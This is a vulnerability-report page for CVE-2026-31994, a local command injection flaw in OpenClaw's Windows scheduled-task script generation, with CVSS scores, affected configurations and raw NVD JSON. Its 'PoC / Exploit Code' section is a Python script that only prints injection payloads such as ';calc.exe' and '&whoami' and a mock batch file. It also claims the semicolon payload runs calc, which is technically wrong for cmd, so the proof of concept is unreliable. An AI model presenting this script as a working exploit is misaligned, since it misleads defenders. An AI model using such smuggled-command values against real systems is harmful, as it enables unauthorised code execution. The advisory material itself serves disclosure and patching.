Security Vulnerability Report
中文
CVE-2026-31994 CVSS 7.1 HIGH

CVE-2026-31994

Published: 2026-03-19 02:16:04
Last Modified: 2026-03-19 18:20:23

Description

OpenClaw versions prior to 2026.2.19 contain a local command injection vulnerability in Windows scheduled task script generation due to unsafe handling of cmd metacharacters and expansion-sensitive characters in gateway.cmd files. Local attackers with control over service script generation arguments can inject arbitrary commands by providing metacharacter-only values or CR/LF sequences that execute unintended code in the scheduled task context.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
OpenClaw < 2026.2.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-31994 PoC - Local Command Injection in OpenClaw # Target: OpenClaw < 2026.2.19 # Attack Vector: Malicious gateway.cmd script generation import subprocess import os def exploit_openclaw_command_injection(target_path): """ Simulate command injection via gateway.cmd metacharacters. Replace actual values with malicious cmd metacharacters. """ # Malicious payload using cmd metacharacters # Inject arbitrary command via command separator malicious_arg = ";calc.exe" # Alternative: Use newlines to inject additional commands # CR/LF injection payload newline_payload = "%0Acalc.exe" # Alternative: Command chaining with & chained_payload = "&whoami" print(f"[*] Simulating command injection with payload: {malicious_arg}") # The vulnerable code would generate a scheduled task script like: # @echo off # gateway.cmd <user_controlled_input> # If input contains ;calc.exe, it executes calc.exe vulnerable_script = f""" @echo off gateway.cmd {malicious_arg} """ print(f"[+] Vulnerable script content:") print(vulnerable_script) print("[*] When executed, the injected command (calc.exe) will run") return True def verify_vulnerability(): """Verify if OpenClaw version is vulnerable""" # In real scenario, check OpenClaw version version = "2026.2.18" # Example vulnerable version vulnerable_versions = ["< 2026.2.19"] print(f"[*] Checking OpenClaw version: {version}") # Implementation depends on version detection method return True if __name__ == "__main__": print("=" * 60) print("CVE-2026-31994: OpenClaw Local Command Injection PoC") print("=" * 60) exploit_openclaw_command_injection("/path/to/openclaw/")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31994", "sourceIdentifier": "[email protected]", "published": "2026-03-19T02:16:04.493", "lastModified": "2026-03-19T18:20:22.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.19 contain a local command injection vulnerability in Windows scheduled task script generation due to unsafe handling of cmd metacharacters and expansion-sensitive characters in gateway.cmd files. Local attackers with control over service script generation arguments can inject arbitrary commands by providing metacharacter-only values or CR/LF sequences that execute unintended code in the scheduled task context."}, {"lang": "es", "value": "Versiones de OpenClaw anteriores a la 2026.2.19 contienen una vulnerabilidad de inyección de comandos local en la generación de scripts de tareas programadas de Windows debido a un manejo inseguro de metacaracteres de cmd y caracteres sensibles a la expansión en los archivos gateway.cmd. Atacantes locales con control sobre los argumentos de generación de scripts de servicio pueden inyectar comandos arbitrarios al proporcionar valores que solo contienen metacaracteres o secuencias CR/LF que ejecutan código no deseado en el contexto de la tarea programada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.19", "matchCriteriaId": "539A1AE2-E6EC-4FC0-A794-28AA37D76D8E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/280c6b117b2f0e24f398e5219048cd4cc3b82396", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-mqr9-vqhq-3jxw", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-local-command-injection-via-unsafe-cmd-argument-handling-in-windows-scheduled-task", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}